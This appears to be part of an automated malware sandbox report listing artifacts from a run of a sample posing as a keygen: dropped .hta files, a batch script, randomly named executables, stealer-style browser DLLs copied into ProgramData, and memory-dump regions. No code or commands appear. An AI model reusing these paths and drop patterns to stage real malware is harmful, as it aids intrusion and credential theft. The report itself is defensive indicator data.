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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\745B.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\fzr.exe

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C:\Users\Public\fzr.exe

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C:\Users\Public\fzr.exe

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C:\Users\Public\ojd.exe

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C:\Users\Public\ojd.exe

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C:\Users\Public\ojd.exe

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C:\Users\Public\xpu.exe

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C:\Users\Public\xpu.exe

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll

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\ProgramData\nss3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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memory/64-51-0x0000000007A80000-0x0000000007A81000-memory.dmp

Filesize
4KB

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memory/64-27-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

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memory/64-90-0x0000000009B00000-0x0000000009B01000-memory.dmp

Filesize
4KB

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memory/64-40-0x0000000007080000-0x0000000007081000-memory.dmp

Filesize
4KB

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memory/64-24-0x0000000000000000-mapping.dmp

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memory/968-39-0x0000000000000000-mapping.dmp

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memory/2080-144-0x0000000000000000-mapping.dmp

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memory/2264-20-0x0000000000000000-mapping.dmp

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memory/2452-145-0x0000000000000000-mapping.dmp

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memory/2568-37-0x0000000000000000-mapping.dmp

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memory/2588-31-0x0000000007150000-0x0000000007151000-memory.dmp

Filesize
4KB

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memory/2588-26-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Filesize
4KB

Download
memory/2588-93-0x0000000008050000-0x0000000008051000-memory.dmp

Filesize
4KB

Download
memory/2588-22-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

Download
memory/2588-44-0x0000000006F00000-0x0000000006F01000-memory.dmp

Filesize
4KB

Download
memory/2588-46-0x0000000006F70000-0x0000000006F71000-memory.dmp

Filesize
4KB

Download
memory/2588-84-0x0000000007F70000-0x0000000007F71000-memory.dmp

Filesize
4KB

Download
memory/2588-12-0x0000000000000000-mapping.dmp

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memory/2696-131-0x0000000000000000-mapping.dmp

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memory/3008-130-0x0000000000000000-mapping.dmp

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memory/3016-10-0x0000000000000000-mapping.dmp

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memory/3056-21-0x0000000000000000-mapping.dmp

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memory/3108-9-0x0000000000000000-mapping.dmp

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memory/3204-18-0x0000000000000000-mapping.dmp

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memory/3284-0-0x0000000000000000-mapping.dmp

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memory/3532-7-0x0000000000000000-mapping.dmp

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memory/3672-102-0x0000000008FE0000-0x0000000008FE1000-memory.dmp

Filesize
4KB

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memory/3672-29-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

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memory/3672-104-0x0000000008F80000-0x0000000008F81000-memory.dmp

Filesize
4KB

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memory/3672-107-0x000000000A020000-0x000000000A021000-memory.dmp

Filesize
4KB

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memory/3672-25-0x0000000000000000-mapping.dmp

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memory/3672-76-0x0000000007F30000-0x0000000007F31000-memory.dmp

Filesize
4KB

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memory/3864-3-0x0000000000000000-mapping.dmp

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memory/3864-2-0x0000000000000000-mapping.dmp

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memory/4048-23-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

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memory/4048-73-0x0000000007960000-0x0000000007961000-memory.dmp

Filesize
4KB

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memory/4048-13-0x0000000000000000-mapping.dmp

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memory/4180-42-0x0000000000000000-mapping.dmp

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memory/4180-57-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

Download
memory/4288-60-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

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memory/4288-49-0x0000000000000000-mapping.dmp

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memory/4376-147-0x0000000000000000-mapping.dmp

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memory/4420-148-0x0000000000000000-mapping.dmp

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memory/4600-161-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4600-163-0x000000000043FCC3-mapping.dmp

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memory/4600-169-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4616-178-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4616-171-0x0000000000417A8B-mapping.dmp

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memory/4636-164-0x000000000043FCC3-mapping.dmp

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memory/4636-170-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4648-179-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4648-172-0x0000000000417A8B-mapping.dmp

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memory/4648-166-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4656-180-0x000000000041A684-mapping.dmp

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memory/4736-173-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4736-177-0x000000000041A684-mapping.dmp

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memory/4736-182-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/5036-193-0x0000000005B20000-0x0000000005BD0000-memory.dmp

Filesize
704KB

Download
memory/5036-197-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

Download
memory/5036-117-0x0000000000000000-mapping.dmp

Download
memory/5036-122-0x0000000070490000-0x0000000070B7E000-memory.dmp

Filesize
6.9MB

Download
memory/5036-128-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Filesize
4KB

Download